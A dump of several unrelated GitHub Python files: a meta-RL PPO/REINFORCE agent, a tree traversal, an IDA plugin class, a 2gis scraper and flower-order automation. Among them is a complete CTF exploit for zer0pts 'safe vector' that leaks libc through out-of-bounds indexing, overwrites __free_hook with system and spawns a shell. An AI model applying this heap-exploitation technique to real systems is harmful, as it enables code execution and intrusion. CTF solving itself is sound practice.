torch.std(A)).detach()\n\n        # Actor loss using CLIP loss\n        surr1 = ratios * A\n        surr2 = torch.clamp(ratios, 1 - self.eps_clip, 1 + self.eps_clip) * A\n        actor_loss = torch.mean(- torch.min(surr1, surr2))  # minus to maximize\n\n        # Critic loss fitting to reward-to-go with entropy bonus\n        critic_loss = self.c1 * self.MSE_loss(rtgs, state_vals)\n\n        loss = actor_loss + critic_loss - self.c2 * H.mean()\n\n        if theta_0 is not None:  # TODO: can theta_0 be None\n            log_pi_theta, _, _ = self.policy.evaluate(old_states, old_actions, theta=self.policy.get_exploiter_starting_params())\n            log_pi_theta_0, _, _ = self.policy.evaluate(old_states, old_actions, theta=theta_0)\n            loss += self.nu * self.kl(log_pi_theta, log_pi_theta_0.detach())\n\n        loss_2 = 0\n        if self.add_l2 == 1 and last_iteration:\n            loss_2 = self.get_l2(self.batchdata[0][idx])\n\n        if self.grad_align == 1:\n            grads_evaluate = torch.autograd.grad(outputs=actor_loss, inputs=theta_i, retain_graph=True)\n            cosine_sim = self.cos(torch.cat([x.view(-1) for x in grads_evaluate]), torch.cat([x.view(-1) for x in grads_adapt]))\n\n            # loss -= 100. * gradient_loss\n\n            return loss, loss_2, cosine_sim.detach().cpu().item()\n\n        return loss, loss_2, 0\n\n\n    def get_l2(self, D):\n\n        rt = self.to_tensor(D.rewards)\n        states = torch.cat([self.to_tensor(x) for x in D.states], 0).detach()\n        next_states = torch.cat([self.to_tensor(x) for x in D.next_states], 0).detach()\n        actions = self.to_tensor(D.actions).view(-1, 1).detach()\n\n        logprobs_explorer, _, dist_entropy = self.policy.evaluate(states, actions[:, 0])\n\n        if self.decouple_predictors == 1:\n            rt_pred = self.reward_prediction_model(states, actions)\n            rt_hat = (rt - rt_pred) ** 2\n\n            self.optimizer_curiosity.zero_grad()\n            rt_hat.mean().backward()\n            self.optimizer_curiosity.step()\n\n            self.writer.add_scalar(\"Reward prediction loss\", rt_hat.mean().detach().cpu().numpy(), self.idx_reward_pred)\n            self.idx_reward_pred += 1\n        else:\n            rt_pred = self.policy.get_predicted_reward(states, actions)\n            rt_hat = (rt - rt_pred) ** 2\n\n        # rt_hat_var = ((rt_hat - rt_hat.mean()) ** 2).mean()  # todo: variance of the rewards\n        # rt_hat_mean = rt_hat.mean()\n        # if self.reg_l2 ==1:\n        #     rt_hat_mean += rt_hat_var\n\n        # unique_states = []\n        # zero_out = []\n        # for state, terminal in zip(next_states, D.is_terminal):\n        #     if terminal:\n        #         unique_states = []\n        #     if any([(state == x).all() for x in unique_states]):\n        #         zero_out.append(0)\n        #     else:\n        #         unique_states.append(state)\n        #         zero_out.append(1)\n\n        if self.explorer_loss == 0:\n            rt_hat_zero_out = rt_hat.detach().cpu().numpy()# * np.array(zero_out)\n            rtgs = self.to_tensor(calc_rtg(rt_hat_zero_out, D.is_terminal, self.gamma))  # reward-to-go £\n            return self.cl2*(- logprobs_explorer * rtgs.detach()).mean()\n\n        if self.explorer_loss == 1:\n            entropy_coefficient = 0.01\n            return self.cl2*(-entropy_coefficient*dist_entropy.mean())\n\n        if self.explorer_loss == 2:\n            entropy_coefficient = 0.001\n            rt_hat_zero_out = rt_hat.detach().cpu().numpy()  # * np.array(zero_out)\n            rtgs = self.to_tensor(calc_rtg(rt_hat_zero_out, D.is_terminal, self.gamma))  # reward-to-go £\n            return self.cl2 * ((- logprobs_explorer * rtgs.detach()).mean() - entropy_coefficient*dist_entropy.mean())\n\n    def save_model(self, filepath='./ppo_model.pth'):  # TODO filename param\n        torch.save(self.policy.state_dict(), filepath)\n\n    def load_model(self, filepath='./ppo_model.pth'):\n        self.policy.load_state_dict(torch.load(filepath))\n\n    def write_reward(self, r, r2):\n        \"\"\"\n        Function that write on tensorboard the rewards it gets\n\n        :param r: cumulative reward of the episode\n        :type r: float\n        :param r2: final reword of the episode\n        :type r2: float\n        \"\"\"\n        self.writer.add_scalar('cumulative_reward', r, self.log_idx)\n        self.writer.add_scalar('final_reward', r2, self.log_idx)\n        self.log_idx += 1\n\n    def push_batchdata(self, st, a, logprob, old_logprob, v, r, done, st1, mode, idx):\n        # adds a row of trajectory data to self.batchdata\n        self.batchdata[mode][idx].states.append(st)\n        self.batchdata[mode][idx].actions.append(a)\n        self.batchdata[mode][idx].logprobs.append(logprob.detach())\n        self.batchdata[mode][idx].old_logprobs.append(old_logprob.detach())\n        self.batchdata[mode][idx].v.append(v if isinstance(v, int) else v.detach())\n        self.batchdata[mode][idx].rewards.append(r)\n        self.batchdata[mode][idx].is_terminal.append(done)\n        self.batchdata[mode][idx].next_states.append(st1)\n\n    def clear_batchdata(self, idx=None):\n        if idx != None:\n            for batchdata in self.batchdata[idx]:\n                batchdata.clear()\n        else:\n            for i in range(2):\n                for batchdata in self.batchdata[i]:\n                    batchdata.clear()\n\n    def to_tensor(self, array):\n        if isinstance(array, np.ndarray):\n            return torch.from_numpy(array).float().to(self.device)\n        else:\n            return torch.tensor(array, dtype=torch.float).to(self.device)\n\n\n\"\"\"\n\nREINFORCE meta-agent\n\n\"\"\"\nclass REINFORCE(nn.Module):\n    def __init__(self, params, logdir, device, adaptive_lr=False, load_pretrained=False):\n        super(REINFORCE, self).__init__()\n\n        self.action_dim = 4\n        self.show_goal = params['show_goal']\n        self.batchdata = [[BatchData() for _ in range(params['batch_tasks'])], [BatchData() for _ in range(params['batch_tasks'])]]\n        self.writer = SummaryWriter(log_dir=logdir)\n        self.log_idx = 0\n        self.log_grads_idx = 0\n        self.device = device\n\n        self.inner_lr = 0.1\n        # self.training_steps = 10\n\n        self.epsilon0 = 0.9\n        self.epsilon = self.epsilon0\n        self.epsilon_adapt = params['eps_adapt']\n        self.epsilon_decay = 0.95\n\n        self.K = 1\n\n        # Init params and actor-critic policy networks, old_policy used for sampling, policy for training\n        self.lr = 0.001 #0.001  # 0.01\n        self.gamma = 0.9\n\n        self.ADAPTATION = 0\n        self.EVALUATION = 1\n\n        self.policy = MamlParamsPg(params['grid_size'], self.show_goal, self.inner_lr, model_type=params['model_type'], activation=params['activation'], adaptive_lr=adaptive_lr)\n\n        self.grads_vals = np.zeros(len(self.policy.get_theta()))\n\n        self.MSE_loss = nn.MSELoss()  # to calculate critic loss\n        self.optimizer = Adam(self.policy.parameters(), lr=self.lr)\n\n        if params['filter_type'] == 4:\n            self.forward_model = Forward_Predictor(params['grid_size'], self.show_goal)\n            self.optimizer_forward = Adam(self.forward_model.parameters(), lr=0.0001)\n\n    def get_epsilon(self, mode=0):\n        if mode == self.ADAPTATION:\n            return self.epsilon_adapt\n        else:\n            return self.epsilon0\n\n    def update_epsilon(self, mode):\n        if mode == self.EVALUATION:\n            self.epsilon *= self.epsilon_decay\n\n    def get_action(self, state, theta=None, test=False):\n        # Sample actions with epsilon greedy\n        if np.random.random() > self.epsilon or test:\n            a, log_prob, _ = self.policy(self.to_tensor(state), theta=theta)\n            return a, log_prob, None\n        else:\n            a = np.random.randint(0, 3)\n            log_prob, _, _ = self.policy.evaluate(self.to_tensor(state), a, theta=theta)\n            return a, log_prob, None\n\n    def adapt(self, idx, train=False, print_grads=False):\n\n        self.policy.train()\n\n        theta_i = self.policy.get_theta()\n\n        rtgs = self.to_tensor(calc_rtg(self.batchdata[0][idx].rewards, self.batchdata[0][idx].is_terminal, self.gamma))  # reward-to-go\n        # Normalize rewards\n        # rtgs = (rtgs - rtgs.mean()) / (rtgs.std() + 1e-5)  # todo: ?\n        logprobs = torch.cat([x.view(1) for x in self.batchdata[0][idx].logprobs])\n\n        # Normalize advantages\n        # advantages = (A-A.mean()) / (A.std() + 1e-5)\n        loss = (- rtgs * logprobs).mean()\n\n        if train:\n            theta_grad_s = torch.autograd.grad(outputs=loss, inputs=theta_i, create_graph=True)\n            theta_i = list(map(lambda p: p[1] - p[2] * p[0], zip(theta_grad_s, theta_i, self.policy.lr)))\n\n            if print_grads:\n                for i, grad in enumerate(theta_grad_s):\n                    self.grads_vals[i] += torch.mean(torch.abs(grad))\n        else:\n            theta_grad_s = torch.autograd.grad(outputs=loss, inputs=theta_i)\n            theta_i = list(map(lambda p: p[1] - p[2] * p[0].detach(), zip(theta_grad_s, theta_i, self.policy.lr)))\n\n        return theta_i, loss.detach().cpu().item(), 0, 0\n\n    def update_adaptation_batches(self):\n\n        for batchdata in (self.batchdata[0]):\n            states = torch.cat([self.to_tensor(x) for x in batchdata.states], 0).detach()\n            actions = self.to_tensor(batchdata.actions).long().detach()\n            logprobs, state_vals, _ = self.policy.evaluate(states, actions)\n\n            batchdata.logprobs = [x for x in logprobs]\n            batchdata.v = [None]*len(logprobs)\n\n    def get_loss(self, theta_i, idx):\n\n        rtgs = self.to_tensor(calc_rtg(self.batchdata[1][idx].rewards, self.batchdata[1][idx].is_terminal, self.gamma))  # reward-to-go\n        # Normalize rewards\n        # rtgs = ((rtgs - torch.mean(rtgs)) / torch.std(rtgs)).detach()\n\n        old_states = torch.cat([self.to_tensor(x) for x in self.batchdata[1][idx].states], 0).detach()\n        old_actions = self.to_tensor(self.batchdata[1][idx].actions).long().detach()\n\n        # get form correct batch new policy data\n        logprobs, _, _ = self.policy.evaluate(old_states, old_actions, theta=theta_i)\n\n        loss = - rtgs*logprobs\n\n        return loss.mean()\n\n    # def regularize(self):\n    #     actions = self.batchdata.actions\n    #     states = torch.cat([self.to_tensor(x) for x in self.batchdata.states], 0)\n    #     _, entropy = self.policy.evaluate(states, actions)\n    #     loss = - entropy\n    #\n    #     return loss\n\n\n    def save_model(self, filepath='./reinforce_model.pth'):  # TODO filename param\n        torch.save(self.policy.state_dict(), filepath)\n\n    def load_model(self, filepath='./reinforce_model.pth'):\n        self.policy.load_state_dict(torch.load(filepath))\n\n    def write_reward(self, r, r2):\n        \"\"\"\n        Function that write on tensorboard the rewards it gets\n\n        :param r: cumulative reward of the episode\n        :type r: float\n        :param r2: final reword of the episode\n        :type r2: float\n        \"\"\"\n        self.writer.add_scalar('cumulative_reward', r, self.log_idx)\n        self.writer.add_scalar('final_reward', r2, self.log_idx)\n        self.log_idx += 1\n\n    def push_batchdata(self, st, a, logprob, v, r, done, st1, mode, idx):\n        # adds a row of trajectory data to self.batchdata\n        self.batchdata[mode][idx].states.append(st)\n        self.batchdata[mode][idx].actions.append(a)\n        self.batchdata[mode][idx].logprobs.append(logprob)\n        self.batchdata[mode][idx].v.append(v)\n        self.batchdata[mode][idx].rewards.append(r)\n        self.batchdata[mode][idx].is_terminal.append(done)\n        self.batchdata[mode][idx].next_states.append(st1)\n\n    def clear_batchdata(self, idx=None):\n        for i in range(2):\n            for batchdata in self.batchdata[i]:\n                batchdata.clear()\n\n    def to_tensor(self, array):\n        if isinstance(array, np.ndarray):\n            return torch.from_numpy(array).float().to(self.device)\n        else:\n            return torch.tensor(array, dtype=torch.float).to(self.device)","repo_name":"albiLo17/GBML_RL","sub_path":"agents/pg_meta_agent.py","file_name":"pg_meta_agent.py","file_ext":"py","file_size_in_byte":27033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28871821840","text":"\nfrom sys import stdin, setrecursionlimit\nimport queue\n\nsetrecursionlimit(10 ** 6)\n\nclass BinaryTreeNode:\n    def __init__(self, data):\n        self.data = data\n        self.left = None\n        self.right = None\n\n        \ndef printLevelWise(root):\n    if root is None:\n        return None\n    \n    q = queue.Queue()\n    q.put(root)\n    q.put(None)\n    \n    while(not q.empty()):\n        currentNode = q.get()\n        \n        if currentNode is None:\n            print()\n            if(not q.empty()):\n            \tq.put(None)\n                 \n        else:\n            print(currentNode.data, end=' ')\n            \n            if currentNode.left!=None:\n                q.put(currentNode.left)\n                \n            if currentNode.right!=None:\n                q.put(currentNode.right)                    \n    return\n                    \n\n#Taking level-order input using fast I/O method\ndef takeInput():\n    levelOrder = list(map(int, stdin.readline().strip().split(\" \")))\n    start = 0\n    length = len(levelOrder)\n    if length == 1 :\n        return None\n    root = BinaryTreeNode(levelOrder[start])\n    start += 1\n    q = queue.Queue()\n    q.put(root)\n    while not q.empty():\n        currentNode = q.get()\n        leftChild = levelOrder[start]\n        start += 1\n        if leftChild != -1:\n            leftNode = BinaryTreeNode(leftChild)\n            currentNode.left =leftNode\n            q.put(leftNode)\n        rightChild = levelOrder[start]\n        start += 1\n        if rightChild != -1:\n            rightNode = BinaryTreeNode(rightChild)\n            currentNode.right =rightNode\n            q.put(rightNode)\n    return root\n\n# Main\nroot = takeInput()\nprintLevelWise(root)\n","repo_name":"Aparna-k246/Python-dsa","sub_path":"Level order traversal.py","file_name":"Level order traversal.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"44705661857","text":"from IEvent import IEvent, decode_bytes, encode_bytes\nimport ida_typeinf\nimport ida_bytes\nfrom constants import *\nclass ChangeTypeEvent(IEvent):\n\tdef __init__(self, ea, flags, tid = 0, len = 0, is_make_data = True):\n\t\tsuper(ChangeTypeEvent, self).__init__(CHANGE_TYPE_ID, \"Change type\", {\"linear-address\": ea, \"variable-type\": \"{0}:{1}:{2}:{3}\".format(ea,flags,tid,len) if is_make_data else \"\".join([decode_bytes(t) for t in flags])})\n\t\tself._ea = ea\n\t\tself._type = \"{0}:{1}:{2}:{3}\".format(ea,flags,tid,len) if is_make_data else \"\".join([decode_bytes(t) for t in flags])\n\t\tself._is_make_data = is_make_data\n\n\tdef implement(self):\n\t\tif self._is_make_data:\n\t\t\tea, flags, tid, leng = self._type.split(\":\")\n\t\t\tida_bytes.create_data(int(ea), int(flags), int(leng), int(tid))\n\t\telse:\n\t\t\tpy_type = [encode_bytes(t) for t in self._type]\n\t\t\tif len(py_type) == 3:\n\t\t\t\tpy_type = py_type[1:]\n\t\t\tif len(py_type) >= 2:\n\t\t\t\tida_typeinf.apply_type(\n\t\t\t\t\tNone,\n\t\t\t\t\tpy_type[0],\n\t\t\t\t\tpy_type[1],\n\t\t\t\t\tself._ea,\n\t\t\t\t\tida_typeinf.TINFO_DEFINITE,\n\t\t\t\t)\n","repo_name":"ornevo/IDAHub","sub_path":"Client/events/ChangeTypeEvent.py","file_name":"ChangeTypeEvent.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"13640936523","text":"\"\"\"Llenar una lista de tamaño aleatorio entre 10 y 25 elementos. Llene la lista con números\naleatorios. Encuentre la desviación estandar\"\"\"\n\nimport random\n\nlista = []\nsuma = 0\n\nfor i in range (random.randint(10,25)):\n    lista.append(int(random.random()*100))\n    suma += lista[i]\nprom = round(suma/len(lista),2)\nprint(lista)\n\ndesv = 0\nfor i in lista:\n    dis = (i - prom)**2\n    desv += dis\ndesv = desv/len(lista)\ndesv = round(desv ** 0.5,2)\n\nprint(desv)\n\n\n\n","repo_name":"diegoMiguel1360/python","sub_path":"listas/10desvEstandar.py","file_name":"10desvEstandar.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"21433807336","text":"import csv\nimport re\nimport logging\nfrom random import choice, randint\nfrom json import loads, dump, load\nfrom time import sleep\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom webdriver_manager.firefox import GeckoDriverManager\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium import webdriver\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.common.by import By\n\n\"\"\"\nget_contents_div return html code of the url\nattributes:\n    url - url to source page => string\n    delay - time between requests => int\n    block_name - search and return this class from source html => string or None\nreturn:\n    html source code => string\n\"\"\"\ndef get_contents_div(url, delay, block_name):\n    user_agents = open('useragents').read().split('\\n')\n    ua = choice(user_agents)\n\n    proxies = open('proxies').read().split('\\n')\n    px = choice(proxies)\n\n    logger.info(f'Use proxy: {px}')\n    chrome_options = webdriver.ChromeOptions()\n    #chrome_options.add_argument('--proxy-server=%s' % px)\n    #chrome_options.add_argument(f'user-agent={ua}')\n    \n    try:\n        browser = webdriver.Chrome(options=chrome_options)\n    except Exception:\n        browser = webdriver.Chrome(ChromeDriverManager().install(), options=chrome_options)\n    try:\n        browser.get(url)\n    except Exception as e:\n        logger.error(\"Exception occurred\", exc_info=True)\n        \n    if (block_name is not None):\n        try:\n            element_present = EC.presence_of_element_located((By.CLASS_NAME, block_name))\n            WebDriverWait(browser, delay).until(element_present)\n        except TimeoutException:\n            print (\"Too long\")\n\n    html = browser.page_source\n    browser.quit()\n    return html\n\n\"\"\"\nget_links return links to companie page on 2gis\nattributes:\n    url - url to 2gis page with comnies list => string\n    number_of_pages - number of pages to scrape => int\n    fname - name of a file where links will be store => string\n\"\"\"\ndef get_links(main_url, number_of_pages = 1, fname = \"data\"):\n    for i in range(1, number_of_pages + 1):\n        url = main_url + str(i)\n        logger.info(f\"get_links from {url}\")\n        html_code = get_contents_div(url, 5, \"_awwm2v\")\n        soup = BeautifulSoup(html_code, 'html.parser')\n        links = soup.findAll(\"a\", href=True)\n        logger.info(f\"{len(links)} links grabbed\")\n        with open(f\"{fname}.csv\", 'a', newline='') as fout:\n            writer = csv.writer(fout)\n            for link in links:\n                if '/almaty' in link['href'] and '/search' not in link['href'] and '/directions' not in link['href'] and '/branches' not in link['href']:\n                    writer.writerow([link['href']])\n        sleep(randint(2, 5))\n\n    logger.info(\"Links getted succesfully\")\n\n\"\"\"\nget_info function that grabe info about companie and store it in json\nattributes:\n    fname - name of the file with companies links\n\"\"\"\ndef get_info(fname):\n    url_main = \"https://2gis.kz\"\n    links = []\n    with open('{}.csv'.format(fname)) as f:\n        for line in f:\n            links.append(line.strip())\n    \n    for link in links:\n        url = url_main + link\n        logger.info(f\"Scrape from {url}\")\n        html_code = get_contents_div(url, 10, None)\n        regex = r\"var initialState = JSON\\.parse\\('.*}}}'\\)\"\n        matches = re.findall(regex, html_code, re.MULTILINE)\n        match = matches[0]\n        match = match[31:-2]\n        data_dict = loads(match.replace('\\\\\"', \" \").replace('\\\\', ''))\n\n        id = list(data_dict['data']['entity']['profile'].keys())[0]\n        with open(\"rent_places.json\", \"r\") as f:\n            rent_places = load(f)\n\n        if id not in rent_places.keys():\n            rent_places[id] = data_dict\n            with open(\"cafes.json\", \"w\") as write_file:\n                dump(rent_places, write_file)\n\n        logger.info(f\"Success added {id}\")\n        sleep(randint(2, 5))\n            \n\nif __name__ == \"__main__\":\n    # create logger\n    logger = logging.getLogger('parser.py')\n    logger.setLevel(logging.INFO)\n\n    # create console handler and set level to debug\n    ch = logging.StreamHandler()\n    ch.setLevel(logging.INFO)\n\n    #create file handler and set level to debug\n    fh = logging.FileHandler(r'/logs/app.log')\n    fh.setLevel(logging.INFO)\n\n    # create formatte\n    formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\n    # add formatter to ch and fh\n    ch.setFormatter(formatter)\n    fh.setFormatter(formatter)\n\n    # add ch and fh to logger\n    logger.addHandler(ch)\n    logger.addHandler(fh)\n\n    #get_links(\"https://2gis.kz/almaty/search/%D0%9A%D0%B0%D1%84%D0%B5/rubricId/161/page/\", 10, \"cafes_links\")\n    #get_info(\"cafes_links\")\n","repo_name":"AbylayOmar/2gis_parser","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":4917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"21184821023","text":"#!/usr/bin/env python3\nfrom sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py\n\nbin_file = './chall'\ncontext(os = 'linux', arch = 'amd64')\ncontext.log_level = 'debug'\n\n#==========\n\nenv = Environment('debug', 'local', 'remote')\nenv.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')\nenv.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \\\n                        local   = {'argv':[bin_file]}, \\\n                        remote  = {'host':'pwn.ctf.zer0pts.com', 'port':9001})\nenv.set_item('libc',    debug   = None, \\\n                        local   = None, \\\n                        remote  = 'libc.so.6')\nenv.select()\n\n#==========\n\nbinf = ELF(bin_file)\n\nlibc = ELF(env.libc) if env.libc else binf.libc\noffset_libc_malloc_hook = libc.symbols['__malloc_hook']\noffset_libc_mainarena   = offset_libc_malloc_hook + 0x10\n\n#==========\n\ndef attack(conn, **kwargs):\n    sv = SafeVector(conn)\n\n    for i in range(0x7e):\n        sv.push(i)\n    sv.push(0x11)\n    sv.wipe()\n\n    for i in range(0x20//4):\n        sv.push(i)\n    sv.store(-2, 0x421)\n    sv.wipe()\n\n    sv.push(0)\n    for i in range(1+ 0x48//4):\n        sv.pop()\n\n    leak  = sv.load(0x40//4)\n    leak += sv.load(0x44//4) << 32\n    sv.wipe()\n\n    addr_libc_mainarena = leak - 0x60\n    libc.address = addr_libc_mainarena - offset_libc_mainarena\n    info('addr_libc_base    = 0x{:08x}'.format(libc.address))\n    addr_libc_free_hook = libc.symbols['__free_hook']\n    addr_libc_system    = libc.sep_function['system']\n\n    for i in range(0x30//4):\n        sv.push(i)\n    sv.store(-2, 0x31)\n    sv.wipe()\n\n    sv.push(0)\n    for i in range(1+ 0x78//4):\n        sv.pop()\n    sv.store(0x70//4, u32(p32((addr_libc_free_hook-8) & ((1<<32)-1)), sign=True))\n    sv.store(0x74//4, addr_libc_free_hook >> 32)\n    sv.wipe()\n\n    for i in range(0x20//4):\n        sv.push(i)\n    sv.store(-2, 0x51)\n    sv.wipe()\n\n    sv.push(u16(b'sh'))\n    sv.push(0)\n    sv.push(u32(p32(addr_libc_system & ((1<<32)-1)), sign=True))\n    sv.push(addr_libc_system >> 32)\n    sv.push(0)\n\nclass SafeVector:\n    def __init__(self, conn):\n        self.recv           = conn.recv\n        self.recvuntil      = conn.recvuntil\n        self.recvline       = conn.recvline\n        self.unrecv         = conn.unrecv\n        self.send           = conn.send\n        self.sendline       = conn.sendline\n        self.sendafter      = conn.sendafter\n        self.sendlineafter  = conn.sendlineafter\n\n    def push(self, val):\n        self.sendlineafter('>> ', '1')\n        self.sendlineafter('value: ', str(val))\n\n    def pop(self):\n        self.sendlineafter('>> ', '2')\n\n    def store(self, idx, val):\n        self.sendlineafter('>> ', '3')\n        self.sendlineafter('index: ', str(idx))\n        self.sendlineafter('value: ', str(val))\n\n    def load(self, idx):\n        self.sendlineafter('>> ', '4')\n        self.sendlineafter('index: ', str(idx))\n        self.recvuntil('value: ')\n        return int(self.recvuntil('\\n', drop=True))\n\n    def wipe(self):\n        self.sendlineafter('>> ', '5')\n\n#==========\n\ndef main():\n    comn = Communicate(env.mode, **env.target)\n    comn.connect()\n    comn.run(attack)\n    comn.interactive()\n    # zer0pts{B3_4W4R3_0F_S1GN3D_M0DUL0!!!}\n\nif __name__=='__main__':\n    main()\n\n#==========\n","repo_name":"shift-crops/CTFWriteups","sub_path":"2021/zer0pts CTF/safe vector/exploit_safe_vector.py","file_name":"exploit_safe_vector.py","file_ext":"py","file_size_in_byte":3324,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"22"}
+{"seq_id":"43956001889","text":"import datetime\nimport time\n\nimport pandas as pd\n\nfrom database import insert_data, update_data, get_data\nfrom interface import keyboard\nfrom interface import window\nfrom parse import lots, dates\nfrom purchase import enter_virtual_purchase\n\n\ndef import_ecuador_prices(filename):\n    return pd.read_excel(filename, sheet_name='Sheet1')\n\n\ndef print_row_ecuador(row):\n    print(row['species'], end=' ')\n    print(row['Variety'], end=', ')\n    if not pd.isnull(row['Comment']):\n        print(row['Comment'], end=', ')\n    print(row['Grade/cm'], end=', ')\n    print(row['St/bx'], end=', ')\n    print(row['YYZ(mia)'])\n\n\ndef make_list_from_file(system, filename, po_id):\n    variety = ''\n    order_date = get_data.get_virtual_purchase_order(po_id)[2]\n    week = dates.get_week(order_date)\n    year = dates.get_year(order_date)\n\n    df = import_ecuador_prices(filename)\n    for index, row in df.iterrows():\n        if not pd.isnull(row['$ fob']):\n            if row['Variety'].strip() != variety:\n                variety = row['Variety'].strip()\n                window.drag_window()\n                keyboard.write_text(variety)\n\n\n\n            print_row_ecuador(row)\n            answer = input(\"next\")\n            if answer == '':\n                try:\n                    assortment = add_article()\n                except:\n                    assortment = lots.get_lot_info_assortment()\n                keyboard.f12()\n                keyboard.command('down')\n                insert_data.insert_virtual_purchase(assortment_code=assortment['assortment_code'], quantity=15,\n                                                    packing=row['St/bx'],\n                                                    fob=\"%0.2f\" % row['$ fob'], landed=\"%0.2f\" % row['$ fob'],\n                                                    virtual_purchase_order_id=po_id, entered=False)\n                try:\n                    insert_data.insert_weekly_price(system, week, year, assortment['assortment_code'],\n                                                    row['selling'])\n                except:\n                    update_data.update_weekly_price(system, year, week, assortment['assortment_code'],\n                                                    row['selling'])\n\n            elif 'q' in answer:\n                break\n            elif 'n' in answer:\n                pass\n\n    return df\n\n\ndef make_list(quantity, packing, price=None, selling=None):\n    original_price = price\n    items = []\n    while True:\n        try:\n            assortment = add_article()\n        except:\n            assortment = lots.get_lot_info_assortment()\n        if not original_price:\n            price = input(\"FOB price\")\n\n        item = {'assortment_code': assortment['assortment_code'], 'quantity': quantity, 'packing': packing,\n                'fob': price, 'landed': price, 'assortment': assortment}\n        if selling:\n            item['selling'] = selling\n        items.append(item)\n        window.drag_window()\n        keyboard.f12()\n        choice = input(\"next\")\n        if 'n' in choice.lower():\n            return items\n\n\ndef calc_landed(price, packing):\n    box = 6 * 1.33\n    shipping = (box + 9) / packing\n    return \"%0.2f\" % (price * 1.33 + shipping,)\n\n\ndef add_article():\n    window.drag_window()\n    keyboard.command(('shift', 'F10'))\n    assortment = lots.get_lot_info_assortment()\n    assortment['system'] = 'f2_canada_real'\n    assortment['category_name'] = assortment['catgeory']\n    assortment['category_code'] = assortment['category_num']\n    del assortment['purchase_date']\n    del assortment['lot_number']\n    del assortment['supplier_code']\n    del assortment['category_num']\n    del assortment['landed_price']\n    del assortment['catgeory']\n\n    insert_data.insert_assortment(**assortment)\n    return assortment\n\n\ndef underline_item(date_str, b):\n    w = window.get_window()\n    if (date_str in w) == b:\n        keyboard.write_text(' ')\n    keyboard.command('down')\n    return w\n\n\ndef Rosaprima_mday():\n    while True:\n        try:\n            assortment = add_article()\n        except:\n            assortment = lots.get_lot_info_assortment()\n        assortment_code = assortment['assortment_code']\n        grade = assortment['grade']\n        quantity = 20\n        packing = 100\n        if str(grade) == '40':\n            fob = .69\n            p = 125\n\n\n        elif str(grade) == '50':\n            fob = .82\n            p = 100\n\n        elif str(grade) == '60':\n            fob = .89\n            p = 100\n\n        elif str(grade) == '70':\n            fob = .92\n            p = 75\n        elif str(grade) == '80':\n            fob = .92\n            p = 75\n        landed = calc_landed(fob, p)\n        virtual_purchase_order_id = 26\n        keyboard.f12()\n        keyboard.command('down')\n        print(assortment)\n        input(\"next\")\n        time.sleep(.5)\n        window.drag_window()\n        insert_data.insert_virtual_purchase(assortment_code, quantity, packing, fob, landed, virtual_purchase_order_id,\n                                            entered=False)\n\n\ndef easter_list(virtual_purchase_order_id, system, monday_date, quantity, packing):\n    year = dates.get_pricing_year(monday_date)\n    week = dates.get_pricing_week(monday_date)\n    known_prices = dict()\n    while True:\n        try:\n            assortment = add_article()\n        except:\n            assortment = lots.get_lot_info_assortment()\n        if assortment['name'] == '':\n            print('Blank')\n            print(lots.get_lot_info_assortment())\n\n        assortment_code = assortment['assortment_code']\n        grade = assortment['grade']\n        fob = input(f\"What is the FOB price for {assortment['name']} {grade}\")\n\n        if float(fob) in known_prices:\n            price = known_prices[float(fob)]\n        else:\n            price = input(f\"What is the Selling price for {assortment['name']} {grade}\")\n            known_prices[float(fob)] = price\n\n        if not get_data.check_assortment_price(assortment_code, week, year, system):\n            insert_data.insert_weekly_price(system, week, year, assortment_code, price)\n        else:\n            print(price)\n            update_data.update_weekly_price(system, year, week, assortment_code, price)\n\n        landed = fob\n        time.sleep(.5)\n        window.drag_window()\n        keyboard.f12()\n        keyboard.command('down')\n        insert_data.insert_virtual_purchase(assortment_code, quantity, packing, fob, landed, virtual_purchase_order_id,\n                                            entered=False)\n        input(\"next\")\n\n\ndef set_prices(system, assortment_code, year, start_week, end_week, price):\n    for week in range(start_week, end_week):\n        if not get_data.check_assortment_price(assortment_code, week, year, system):\n            insert_data.insert_weekly_price(system, week, year, assortment_code, price)\n        else:\n\n            update_data.update_weekly_price(system, year, week, assortment_code, price)\n\n\ndef add_weekly_items(system, year, startweek, endweek, supplier_code, purchase_day, to_day, offer_end, codes):\n    for week in range(startweek, endweek):\n        sunday = dates.get_date_sunday(year, week)\n        purchase_date = dates.get_date_of_weekday(year, week, purchase_day)\n        purchase_date_end = dates.get_date_of_weekday(year, week, to_day)\n        offer_start = datetime.datetime.now()\n        offer_end_date = dates.get_date_of_weekday(year, week, offer_end['day'])\n        offer_end_date = offer_end_date.replace(hour=offer_end['hour'], minute=offer_end['minute'])\n        offer_end_date = offer_end_date - datetime.timedelta(weeks=offer_end['advance_weeks'])\n\n        virtual_purchase_order_id = insert_data.insert_virtual_purchase_order(system, supplier_code, purchase_date,\n                                                                              purchase_date_end,\n                                                                              offer_start,\n                                                                              offer_end_date)\n        for c in codes:\n            if 'selling' not in c:\n                print(c)\n                c['selling'] = input('selling price?')\n            insert_data.insert_virtual_purchase(c['assortment_code'], c['quantity'], c['packing'], c['fob'],\n                                                c['landed'], virtual_purchase_order_id,\n                                                entered=False)\n            if not get_data.check_assortment_price(c['assortment_code'], week, year, system):\n                insert_data.insert_weekly_price(system, week, 